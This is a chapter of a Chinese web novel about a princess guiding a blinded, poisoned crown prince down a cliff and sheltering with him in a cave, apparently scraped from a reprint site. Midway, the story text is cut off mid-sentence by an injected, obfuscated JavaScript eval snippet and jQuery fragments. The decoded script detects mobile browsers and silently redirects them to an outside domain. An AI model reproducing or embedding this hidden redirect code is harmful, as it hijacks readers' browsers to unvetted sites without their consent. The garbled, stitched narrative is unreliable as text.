97. 崖底

作品:《我有特殊的称帝技巧

    知晓霍元恪失明之后,阿筝以剑柄牵引着他往山崖下走去。


    一路上,他默不作声。


    就连她特意往长满尖刺的灌木从里走,他也没说什么,只是只紧了紧手中的剑,像是在提醒她别太过分……


    阿筝默默冷哼,她忽然觉得自己像个赶尸人。


    下崖的路极为难走,通向崖底的这条路只供一人通行,准确来说,也不算是路,皆是些凝在一起的杂草根和碎石块,堪堪能踩而已。


    若是晴日倒也还好,下了雪后,脚下的路结了一层冰,她好几次差些滑倒,反而在灌木丛里要好走许多。


    她也不算故意捉弄。


    万物俱静,只有雪籽啪嗒啪嗒打在草叶上的声音。


    约莫一个时辰后,这些脚印便会被霜雪覆盖。


    阿筝默不作声地瞥了霍元恪一眼,对方仍是之前的模样,神色淡淡,眼中无焦距。


    她附身夜鹰时,霍元恪似有所感,眉间微微起伏。


    若不是鸟身恰好回头,恐怕会错过这一幕。


    说来也是奇怪,他到底是如何识破自己的金手指的?从前她以为是对方观察细微的缘故,但今夜他可是失明了。


    莫不是,他还有别的方法?


    远处已有些浅浅的霞光团在一起,约莫是寅时了,离她被刺客围困已有七个时辰了。


    疲惫和饥渴几乎要将她淹没。


    脚下的血泡似乎也破了,她能感觉到那处的濡湿,还和袜子紧紧得粘在了一起,稍微动一下便能感觉到血肉撕扯的疼痛。


    剑柄另一侧的霍元恪无声按压着腹部,那处的伤口再次裂开,正缓缓渗着血。


    指间的小木盒散发着浅淡的药香,的确是回生丸,只是于他来说,解不了蛊毒。


    思索间,一股极淡的血腥气传来,霍元恪神情略顿,这血不是自己的。


    “到了!”


    阿筝松开了剑柄,小心地打量着崖底的空间。


    这里是一览无余的平地。


    杂草生得约莫有人高,不远处是滔滔江河。右边倒是有个小小的山洞,瞧着像是野兽挖的,只是目前看来废弃已久。


    若是坐着的话,勉强能塞进两人。


    阿筝将崖下的景象跟霍元恪描绘了一番,又道:“山间下起了雪,一夜奔波想来三皇兄也倦了,不如在此停歇片刻。”


    霍元恪道:“就依九皇妹所言。”


    这一坐,阿筝便再也不想起身了,她的双腿又酸又胀,肌肉扯得生痛。霍元恪在此,她也不好查看脚上的血泡。


    这般浓的血腥味,她的脚莫不是要废了?阿筝难过半晌,默默跟脚道歉。


    稳下心神后她才发现,血腥味不是她的。


    阿筝瞥了眼霍元恪暗红的衣衫。


    挺能忍的。


    一刻钟后,阿筝忍不住道:“三皇兄是打算放任不管?”


    对方并不回应,只低垂着头。


    阿筝皱眉,侧过身去推他,霍元恪顺着她的力道靠在了洞壁上。阿筝这才发现他面上渗着冷汗,本就白皙的皮肤如今更是见不到一丝血色。


    一如她第一次遇到霍元恪毒发的那一夜。


    如今想来,那一夜霍元恪的眼睛也有些奇怪,只是她当时太过惊慌并未注意到。


    所以,他的短暂失明是因为中毒?


    “三皇兄?”


    阿筝试探着唤他,但霍元恪好似听不见一般,牙关咬得很紧,唇边甚至有些血丝。


    不是将回生丸给他了?


    阿筝怔了怔,去摸他的袖子,找到木盒后打开看了一眼,盒中仍是两颗药丸,霍元恪并未吃下。


    见他额间青筋迸起,面上愈发痛苦,阿筝毅然倒出一颗回生丸喂给他。


    只是这厮很不听话,她费了好一番功夫晃他,才令他的牙关松开一些。


    喂下回生丸后,阿筝静静地等待药效发作。


    霍元恪真是有一副好皮囊,阿筝从未见过比他更白的人,偏偏他的眉发乌黑柔顺,骨相精致如绘,唇色红润,眼尾的弧度冷冽疏离。


    湖光秋月于他身上相和,松风孤雪引他停歇作伴。


    当哑巴时,的确惹人。


    只是,半晌过去,他仍是痛苦难耐的模样,难不成回生丸对他没有作用?


    阿筝面上慎重,正要凑近看一眼时,一口新鲜的血正正地喷在了她脸上。


    连她的头发也不能幸免。


    阿筝:“……”


    没有任何词语可以形容她此时的心情。


    没再管吐血的霍元恪,阿筝立刻掏出帕子冲去了河边,狠狠擦着脸上的血迹。等她回来时,霍元恪早已倒在一边,似是陷入了昏迷。


    她暗暗踢了几脚,对方都全然无知。


    阿筝心情平静,从一旁捡起三根木棍插在地上。她不懂药理,只能尽人事听天命。


    浅浅替他祈个福吧。


    谁让她生来善良。


    再次醒来,霍元恪怔愣许久,他撑着地面坐直了身体,腹部顿时传来些异样的感觉。


    那处早已重新包扎过,贴近伤口的地方渗着一股回生丸的药香。


    他的剑失踪,她也失踪了。


    霍元恪眼睫垂下,睫下的阴影连成一片。


    身侧轻飘飘落下一道身影:“禀殿下,圣上因殿下失踪气急吐血,仍未清醒。费连已搜到附近,正派了人沿着悬崖下来。”


    “别苑那边,是文仲和吴蒙二人坐镇。”


    “福王安静地呆在房中,并未选择动手。”


    霍元恪淡道:“那就再给他下一剂猛药。”


    “是。”


    莫丙想了想又道:“殿下未醒时,九公主曾偷偷摸摸,沿着河走了一刻钟。”


    “但她并未离开。”


    霍元恪掀了眼皮。


    莫丙继续道:“因为出口有一条巨蟒盘在那里,九公主扫了一眼立刻返回。”


    话毕,霍元恪面色舒展,唇边似笑非笑,莫丙看了心生奇怪,不过这也不是他该探究的事,汇报完后,莫丙便悄无声息离开。


    阿筝回来时见霍元恪已醒,便将手中的野果递给他,乖巧道:“三皇兄今日可好些了?小九找了许久才找到这几个,很甜的。”


    说着,她便将手中的长剑同时递到他手边再道:“幸而有三皇兄的剑相助,否则这些还难以摘到。”


    只是她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773879|174500||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手伸了很久,霍元恪也未来接这些野果,只将剑拾起抱在怀中,缓缓擦拭着剑身。


    冰冷森然的剑光反照到他脸上,折射出一道明显的印子。


    阿筝收回手,气鼓鼓地站起身:“三皇兄可是嫌它脏?小九已经洗净过了。”


    “山路崎岖难行,九皇妹年幼柔弱,为兄便不与你争抢了。”


    霍元恪说这话时,并未看她,他擦剑的动作很慢,袖边沾了不少泥土,眼瞳分毫未动,虚虚地落在一处。


    阿筝收回视线,漫不经心地咬了一口果子。


    下一瞬,她便皱起了眉。


    为了试探霍元恪是否真的失明,她亲自爬树,摘了些野果。那些果子长得很高,她费了好一番功夫,才扽了几个下来。


    没想到,霍元恪看都不看,她的小心思落了空。


    果子自是没毒的,只是酸得她流泪,那些果肉狠狠刺激着她的味蕾,涩得她舌尖发苦,差些吐出来。


    霍元恪微微侧目。


    她一边的发髻被树枝勾得松散许多,歪歪得耷拉下来。秋瞳里泛着朦胧湿润,鼓起的脸颊上新增了几道鲜红的擦伤。她说话时不自觉倚靠在洞壁上,膝盖微微弯曲,似泄了力气。


    那几个丑果子仍被她小心地拢于手上,泛着莹莹水光。


    瞧着是委屈极了。


    若他忽视掉自己身上脚印的话。


    “该走了。”


    阿筝撇撇嘴,将果子收到了小布包里。


    她早起循着鸟身的视野,发现一条小路。她的确动过离开的念头,只是那条路上窝着一巨蟒。


    想到昨夜被逼着取蛇胆的情景,阿筝便觉得,爱护动物不能只靠嘴上说说。那蛇胆已被她洗净放进了自己的小布包里。


    若是霍元恪忘了,她便带走赠与小秋。


    虽是蟒蛇挡路,但被迫不能离开也是没有离开。


    她待霍元恪这样好,他却仍是冷若冰霜。


    农夫与蛇大抵是如此了。


    二人略作收拾,仍是阿筝领路,牵引着霍元恪离开此处。好在那条巨蟒早已离开,阿筝的一颗心落到了肚子里。但走了一段后,她忽觉有些不对劲。


    “太子殿下的气色倒比昨日好上许多。”


    她的身量比霍元恪矮上不少,昨日剑柄那端传来的力道颇重,今日却是轻飘飘的。


    霍元恪自是不会告诉她,蛊毒的奇特之一便是能迅速修复受伤之处,只是发作起来如万虫啃噬脊骨,皮肉之下皆是蛊虫蠕动,它们好似永不饱腹一般,筋肉,血液皆是它们的食物。


    那人给他下毒时,是否会有一丝犹豫?


    思及此处,霍元恪唇边的弧度顿时落下,眼底一片冷寂。许久后,他才语带低落道:“昨日九皇妹唤孤三皇兄,今日却成了太子殿下。”


    阿筝停下,狐疑地盯着他。


    “三皇兄高洁,小九自是以为三皇兄不喜我这样攀附。”


    尾音缓缓拉长。


    霍元恪精致的脸上顿时流露出一丝怅然。


    “九皇妹纯然,孤自是相信,你不是那等弃我于不顾的小人。”


    阿筝:“……”


    话里有话啊这是。